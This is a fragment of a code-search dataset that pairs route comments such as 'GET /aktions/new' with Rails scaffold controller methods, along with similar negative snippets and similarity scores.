xml_doc = respond_with_hash(Nokogiri::XML(response.to_xml).text)\n end", "def show\n @events_translation = EventsTranslation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @events_translation }\n end\n end", "def index\n @entries = Entry.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @entries }\n end\n end", "def show\n @atividade = Atividade.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @atividade }\n end\n end", "def index\n @asistencias = Asistencia.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @asistencias }\n end\n end", "def index\n @entries = Entry.all;\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @entries }\n end\n end", "def xml(id)\n http.get(\"/nfse/#{id}/xml\") do |response|\n response.headers.fetch(\"Location\") { \"\" }\n end\n end", "def show\n @receita = Receita.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @receita }\n end\n end", "def show\n @receita = Receita.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @receita }\n end\n end", "def index\n init_au_states(:all);\n @archival_units = ArchivalUnit.find_by_states(@states); \n respond_to do |format|\n format.html {}\n format.xml { render :xml => ArchivalUnit.to_xml(:au_list => @archival_units, :skip_instruct => true) }\n end\n end", "def index\n @atoms = Atom.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @atoms }\n end\n end", "def show\n @agile_task = AgileTask.find(params[:id])\n\n respond_to do |format|\n format.xml { render :xml => @agile_task }\n end\n end", "def show\r\n @transfers = Transfer.find(params[:id])\r\n respond_to do |format|\r\n format.html #show.html.erb\r\n format.xml { render :xml => @transfers.to_xml(:dasherize => false) }\r\n end\r\n end", "def index\n @tournaments = @resource_finder.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @tournaments }\n end\n end", "def show\n @missionario = Missionario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @missionario }\n end\n end", "def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render xml: @download_registrations }\n end\n end", "def show\n @announcer = Announcer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @announcer }\n end\n end", "def show\n @klant = Klant.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @klant }\n end\n end", "def archival_units\n init_au_states(:all);\n @archival_units = @content_provider.archival_units_filter_by_states(@states)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json=> @archival_units }\n format.xml { render :xml => ArchivalUnit.to_xml(:au_list => @archival_units, :skip_instruct => true) }\n end\n end", "def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @actus }\n end\n end", "def index\n @requests = Request.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @requests }\n end\n end", "def index\n @leks = Lek.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @leks }\n end\n end", "def index\n \t@clickers = Clicker.all\t\t\t\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @clickers }\n end\n end", "def show\n @tso = Tso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @tso.to_xml(:except => [ :created_at, :updated_at ]) }\n end\n end", "def show\n @tur = Tur.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @tur }\n end\n end", "def show\n @ambito = Ambito.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ambito }\n end\n end", "def show\n @calendario_entrega = CalendarioEntrega.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @calendario_entrega }\n end\n end", "def show\n @ambit = Ambit.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ambit }\n end\n end", "def show\n @clicker = Clicker.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @clicker }\n end\n end", "def index\n debugger\n @receitas = Receita.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @receitas }\n end\n end", "def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @fee_temps }\n format.json { render :text => get_json }\n end\n end", "def show\n @lancamento = Lancamento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lancamento }\n end\n end", "def show\n @traffic = Traffic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @traffic }\n end\n end", "def get_listings_xml(url)\n @client.get_content(url)\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @actu }\n end\n end", "def show\n @activite = Activite.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @activite.to_xml }\n end\n end", "def show\n @invier_acceso = InvierAcceso.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @invier_acceso }\n end\n end", "def index\n @aisles = Aisle.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @aisles }\n end\n end", "def show\n @torrent = Torrents.new(:url => \"http://newt.local:9091/transmission/rpc\").find(Integer(params[:id]))\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @torrent }\n end\n end", "def index\n @citas = Cita.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @citas }\n end\n end", "def show\n @abrechnung = Abrechnung.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @abrechnung }\n end\n end", "def index\n @aautos = Aauto.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @aautos }\n end\n end", "def show\n @timetable = Timetable.where(uuid: params[:uuid]).first\n\n respond_to do |format|\n format.html\n format.xml { render xml: @timetable }\n format.json { render json: @timetable, callback: params['callback'] }\n end\n end", "def show\n @estacion = Estacion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @estacion }\n end\n end", "def index\n @station = Station.find(params[:station_id])\n\t\t@acs = @station.acs\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @acs }\n end\n end", "def index\n @activites = @association.activites\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @activites.to_xml }\n end\n end", "def show\n @arrendimientospago = Arrendimientospago.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @arrendimientospago }\n end\n end", "def show\n @activite = Activite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @activite }\n end\n end", "def show\n @asistencia = Asistencia.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @asistencia }\n end\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @instituto }\n end\n end", "def show\n @orc_empenho_iten = OrcEmpenhoIten.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @orc_empenho_iten }\n end\n end", "def index\n @entries = Entry.order('created_at DESC')\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @entries }\n end\n end", "def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ticketrezs }\n end\n end", "def show\n @lien = Lien.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lien }\n end\n end", "def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @alimentos }\n end\n end", "def index\n @accessories = Accessory.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @accessories }\n end\n end", "def api_xml(path,method=:get,options={})\n xml_message(amee,\"/data\"+path,method,options)\n end", "def show\n @zal = Zal.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @zal }\n end\n end", "def show\n @iguanasactualizacion = Iguanasactualizacion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @iguanasactualizacion }\n end\n end", "def index\n @airlines = Airline.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @airlines }\n end\n end", "def show\n @abonne = Abonne.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @abonne }\n end\n end", "def show\n @cita = Cita.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @cita }\n end\n end", "def show\n @cita = Cita.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @cita }\n end\n end", "def tournaments\n get('sports/en/tournaments.xml')\n end", "def show\n @tasks_translation = TasksTranslation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @tasks_translation }\n end\n end", "def index\n @lookup_sets = LookupSet.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @lookup_sets }\n end\n end", "def index\n @actattributes = Actattribute.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @actattributes }\n end\n end", "def show\n @aanwezig = Aanwezig.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @aanwezig }\n end\n end", "def show\n @reservation = Reservation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @reservation }\n end\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render xml: @download_registration }\n end\n end", "def show\n @atividade = Atividade.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @atividade }\n end\n end", "def index\n @organs = Organ.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @organs }\n end\n end", "def show\n @transaction = MonzoTransaction.find(params[:id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @transaction, callback: params[:callback] }\n format.xml { render xml: @transaction }\n end\n end", "def index\n @lookup_scantasks = LookupScantask.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @lookup_scantasks }\n end\n end", "def index\n @torrents = Torrents.new(:url => \"http://newt.local:9091/transmission/rpc\").load\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @torrents }\n end\n end" ]
[ "0.6348968", "0.61060447", "0.5890238", "0.583558", "0.5822921", "0.5783563", "0.57820463", "0.57705635", "0.5753406", "0.57525", "0.5744738", "0.57319534", "0.57258654", "0.57128507", "0.56969434", "0.5695478", "0.56927633", "0.5690401", "0.5683251", "0.56711614", "0.56680346", "0.56648344", "0.56607443", "0.5660167", "0.5657242", "0.5656689", "0.5652001", "0.564211", "0.5637658", "0.56360006", "0.5635734", "0.5632494", "0.56305224", "0.56305224", "0.5625746", "0.56231326", "0.5621925", "0.5621878", "0.5618702", "0.5614444", "0.56094503", "0.56078357", "0.5606465", "0.5602931", "0.5601328", "0.5596319", "0.5595489", "0.55912024", "0.55909616", "0.5590599", "0.558109", "0.55808634", "0.5580744", "0.55710465", "0.5568142", "0.55673957", "0.555706", "0.5555894", "0.55505496", "0.5548919", "0.5546762", "0.5543856", "0.55425596", "0.5540323", "0.5540226", "0.5538519", "0.55376273", "0.5534765", "0.5533954", "0.5531183", "0.55284846", "0.5527455", "0.552567", "0.552325", "0.55227584", "0.5522431", "0.5522401", "0.5520068", "0.5518454", "0.5515253", "0.55150557", "0.551306", "0.5512953", "0.5512623", "0.5505254", "0.54995", "0.5497503", "0.5497503", "0.5497283", "0.5494385", "0.54914093", "0.54890716", "0.5488266", "0.5483918", "0.54822874", "0.5481955", "0.54802686", "0.54792076", "0.5478579", "0.54699194" ]
0.6412662
0
GET /aktions/new GET /aktions/new.xml
def new @aktion = Aktion.new respond_to do |format| format.html # new.html.erb format.xml { render :xml => @aktion } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @atom = Atom.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @atom }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end", "def new\n @newz = Newz.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @newz }\n end\n end", "def new\n @omatsuri = Omatsuri.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @omatsuri }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @instituto }\n end\n end", "def new\n @transmission = Transmission.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @transmission }\n end\n end", "def new\n @aplicacion = Aplicacion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @aplicacion }\n end\n end", "def new\n @patron = Patron.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @patron }\n end\n end", "def new\n @lien = Lien.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lien }\n end\n end", "def new\n @aniversario = Aniversario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @aniversario }\n end\n end", "def new\n @mapping = Mapping.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @mapping }\n end\n end", "def new\n @arc = Arc.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @arc }\n end\n end", "def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end", "def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end", "def new\n @request = Request.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nomina }\n end\n end", "def new\n @request = Request.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end", "def new\n @entry = @resource_finder.new\n initialize_new_resource\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entry }\n end\n end", "def new\n @tpago = Tpago.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tpago }\n end\n end", "def new_rest\n @entry_instrument = EntryInstrument.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entry_instrument }\n end\n end", "def new\n @route = Route.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @route }\n end\n end", "def new\n @route = Route.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @route }\n end\n end", "def new\n @zorg_voor_jeugd_alias = ZorgVoorJeugdAlias.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @zorg_voor_jeugd_alias }\n end\n end", "def new\n @lookup_set = LookupSet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_set }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ontology }\n end\n end", "def new\n @tx = Tx.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tx }\n end\n end", "def new_rest\n @entry_item = EntryItem.new\n\n respond_to do |format|\n #format.html # new.html.erb\n format.xml { render :xml => @entry_item }\n end\n end", "def new\n @receita = Receita.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @receita }\n end\n end", "def new\n @geoname = Geoname.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @geoname }\n end\n end", "def new\n @tso = Tso.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tso }\n end\n end", "def new\n @node = Node.scopied.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end", "def new\n @entry = Entry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entry }\n end\n end", "def new\n @discovery = Discovery.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @discovery }\n end\n end", "def new\n @uitgelicht = Uitgelicht.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @uitgelicht }\n end\n end", "def new\n @latestinfo = Latestinfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @latestinfo }\n end\n end", "def new\n @announcer = Announcer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @announcer }\n end\n end", "def new\n @catena = Catena.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @catena }\n end\n end", "def new\n @lookup_demographicrelativerelationship = LookupDemographicrelativerelationship.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_demographicrelativerelationship }\n end\n end", "def new\n @localmap = Localmap.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @localmap }\n end\n end", "def new\n @ponto = Ponto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ponto }\n end\n end", "def new\n @lancamento = Lancamento.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lancamento }\n end\n end", "def new\n @flight = Flight.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @flight }\n end\n end", "def new\n @atividade = Atividade.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @atividade }\n end\n end", "def new\n @aisle = Aisle.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @aisle }\n end\n end", "def new\n @kontakty = Kontakty.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @kontakty }\n end\n end", "def new\n @entry = Entry.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entry }\n end\n end", "def new\n @reservation = Reservation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @reservation }\n end\n end", "def new\n @abonne = Abonne.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @abonne }\n end\n end", "def new\n @navigation_entry = NavigationEntry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @navigation_entry }\n end\n end", "def new\n @info = Info.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @info }\n end\n end", "def new\n @info = Info.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @info }\n end\n end", "def new\n @annotation = Tate::Annotation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @annotation }\n end\n end", "def new\n @via = Via.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @via }\n end\n end", "def new\n @feat = @person.feats.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @feat }\n end\n end", "def new\n @countries = Countries.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @countries }\n end\n end", "def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @system }\n end\n end", "def new\n @lookup_scantask = LookupScantask.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_scantask }\n end\n end", "def new\n @thing = Thing.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @thing }\n end\n end", "def new\n @lease = Lease.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lease }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render xml: @download_registration }\n end\n end", "def new\n @archive = Archive.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @archive }\n end\n end", "def new\n @journal = Journal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @journal }\n end\n end", "def new\n @lek = Lek.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lek }\n end\n end", "def new\n @namespace = Namespace.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @namespace }\n end\n end", "def new\n @cita = Cita.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cita }\n end\n end", "def new\n @cita = Cita.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @cita }\n end\n end", "def new\n @solicitation = @representative.solicitations.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @solicitation }\n end\n end", "def new\n @stat = Stat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @stat }\n end\n end", "def new\n @stat = Stat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @stat }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml \n end\n end", "def new\n @nota = Nota.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nota }\n end\n end", "def new\n @nota = Nota.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nota }\n end\n end", "def new\n @annee = Annee.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @annee }\n end\n end", "def new\n @tstat = Tstat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tstat }\n end\n end", "def new\n expire_page :action => :index\n expire_page :action => :show\n \n @ganglia_graph = GangliaGraph.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ganglia_graph }\n end\n end", "def new\n @asistencia = Asistencia.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @asistencia }\n end\n end", "def new\n @aircraft_history = AircraftHistory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @aircraft_history }\n end\n end", "def new\n @catalog = Catalog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @catalog }\n end\n end", "def new\n @catalog = Catalog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @catalog }\n end\n end", "def new\n @journalentry = Journalentry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @journalentry }\n end\n end", "def new\n @url_migration = UrlMigration.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @url_migration }\n end\n end", "def new\n @want = Want.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @want }\n end\n end", "def new\n @travel = Travel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @travel }\n end\n end", "def new\n @travel = Travel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @travel }\n end\n end", "def new\n @olark = Olark.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @olark }\n end\n end", "def new\n @po = Po.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @po }\n end\n end", "def new\n @estacion = Estacion.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @estacion }\n end\n end", "def new\n @lookup_rad = LookupRad.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup_rad }\n end\n end", "def new_rest\n @item_usage = ItemUsage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @item_usage }\n end\n end", "def new_rest\n @instrument_version = InstrumentVersion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @instrument_version }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @infraction_type }\n end\n end", "def new\n @nom = Nom.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @nom }\n end\n end", "def new\n @administration = Administration.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @administration }\n end\n end", "def new\n @alfabe = Alfabe.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @alfabe }\n end\n end", "def new\n @loan = Loan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @loan }\n end\n end", "def new\n @creation = Creation.new\n @topics = Topic.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @creation }\n end\n end", "def new\n @organiser = Organiser.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @organiser }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @fund_request }\n end\n end", "def new\n @announcement = Announcement.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @announcement }\n end\n end", "def new\n @announcement = Announcement.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @announcement }\n end\n end" ]
[ "0.6836664", "0.66961354", "0.6647385", "0.6611461", "0.6600876", "0.6588805", "0.6579335", "0.6578438", "0.65678596", "0.6561316", "0.6546243", "0.6540222", "0.6532622", "0.6532622", "0.6532622", "0.6523455", "0.65155053", "0.6515044", "0.6496029", "0.64893603", "0.6485425", "0.6485425", "0.6480489", "0.64758295", "0.6475738", "0.64634335", "0.6445165", "0.6439437", "0.6438355", "0.6433865", "0.6418194", "0.6400081", "0.6397055", "0.63861674", "0.637842", "0.63707024", "0.6369412", "0.63647103", "0.6364198", "0.6363366", "0.63627356", "0.6361506", "0.63562703", "0.6353949", "0.6351705", "0.63492554", "0.63465255", "0.63459015", "0.63413066", "0.6334263", "0.6334263", "0.63326794", "0.6332339", "0.63238865", "0.6321304", "0.63192594", "0.63187534", "0.6316912", "0.63135594", "0.63128275", "0.63127875", "0.6309107", "0.6309004", "0.6308918", "0.63089025", "0.63089025", "0.6307726", "0.6306803", "0.6306803", "0.63061583", "0.63061064", "0.63061064", "0.63053924", "0.6301536", "0.6301105", "0.6299377", "0.62946934", "0.62938225", "0.62938225", "0.62933916", "0.6292399", "0.6286807", "0.62866414", "0.62866414", "0.6285362", "0.6284966", "0.6284479", "0.62836516", "0.6281305", "0.62789685", "0.6274085", "0.6273612", "0.62719196", "0.6271309", "0.6266664", "0.6266063", "0.6263569", "0.6262113", "0.6260509", "0.6260509" ]
0.7027073
0
POST /aktions POST /aktions.xml
def create @aktion = Aktion.new(params[:aktion]) respond_to do |format| if @aktion.save flash[:notice] = 'Aktion was successfully created.' format.html { redirect_to(@aktion) } format.xml { render :xml => @aktion, :status => :created, :location => @aktion } else format.html { render :action => "new" } format.xml { render :xml => @aktion.errors, :status => :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @akt = Akt.new(akt_params)\n\n respond_to do |format|\n if @akt.save\n format.html { redirect_to @akt, notice: 'Акт створено.' }\n format.json { render :show, status: :created, location: @akt }\n else\n format.html do\n prepare_form_data\n render :new\n end\n format.json { render json: @akt.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @aktuator = Aktuator.new(aktuator_params)\n\n respond_to do |format|\n if @aktuator.save\n format.html { redirect_to @aktuator, notice: 'Aktuator was successfully created.' }\n format.json { render :show, status: :created, location: @aktuator }\n else\n format.html { render :new }\n format.json { render json: @aktuator.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n doc = Nokogiri::XML(request.body.read)\n cvNode = doc.xpath('elwak/checklisten_vorlage')\n cv = ChecklistenVorlage.new({\n objekt_id: cvNode.xpath('objekt_id').text.to_s, \n bezeichner: cvNode.xpath('bezeichner').text.to_s, \n version: cvNode.xpath('version').text.to_s.to_i, \n inaktiv: cvNode.xpath('inaktiv').text.to_s.to_bool \n })\n cv.save\n\n cvNode.xpath('checklisten_eintrags/checklisten_eintrag').each do |ceNode|\n ce = ChecklistenEintrag.new({\n checklisten_vorlage_id: cv.id,\n bezeichner: ceNode.xpath('bezeichner').text.to_s,\n was: ceNode.xpath('was').text.to_s,\n wann: ceNode.xpath('wann').text.to_s,\n typ: ceNode.xpath('typ').text.to_s.to_i,\n position: ceNode.xpath('position').text.to_s.to_i\n })\n ce.save\n end\n\n respond_to do |format|\n format.xml {render :xml => '<?xml version=\"1.0\" encoding=\"UTF-8\"?><success />'}\n end\n end", "def create\n doc = Nokogiri::XML(request.body.read)\n bNode = doc.xpath('elwak/benutzer')\n\n @benutzer = Benutzer.new(benutzer_params(bNode))\n if @benutzer.save\n if bNode.xpath('objekt_zuordnungs').length > 0\n objekt_ids = bNode.xpath('objekt_zuordnungs/objekt_id').map{|oz| oz.text.to_s.to_i}\n @benutzer.setze_objekt_zuordnungen(objekt_ids)\n end\n success(@benutzer.id)\n else\n error(@benutzer.errors)\n end\n end", "def post_xml_64(xml=:example_response)\n post \"/auth/saml/callback\", {'SAMLResponse' => load_xml_64(xml)}\nend", "def post(action, params={}, options={})\n request(:post, action, params, options)\n end", "def new\n @aktion = Aktion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @aktion }\n end\n end", "def create\n @kontak = Kontak.new(params[:kontak])\n\n respond_to do |format|\n if @kontak.save\n flash[:peringatan] = 'Kontak was successfully created.'\n format.html { redirect_to :action => \"index\"}\n format.xml { render :xml => @kontak, :status => :created, :location => @kontak }\n else\n format.html { render :action => \"index\" }\n format.xml { render :xml => @kontak.errors, :status => :unprocessable_entity }\n end\n end\n end", "def POST; end", "def test_accueil_et_inscription\n\t\tpost '/accueil', identifiant: '2', date_naiss: '1915-12-19'\n\t\tassert last_response.body.include? 'son inscription'\n\tend", "def update\n doc = Nokogiri::XML(request.body.read)\n cvNode = doc.xpath('elwak/checklisten_vorlage')\n\n update_params = {inaktiv: cvNode.xpath('inaktiv').text.to_s.to_bool}\n respond_to do |format|\n if @checklisten_vorlage.update(update_params)\n format.xml {render :xml => '<?xml version=\"1.0\" encoding=\"UTF-8\"?><success />'}\n else\n format.xml {render :xml => '<?xml version=\"1.0\" encoding=\"UTF-8\"?><error />'}\n end\n end\n end", "def post_act(act, params)\n 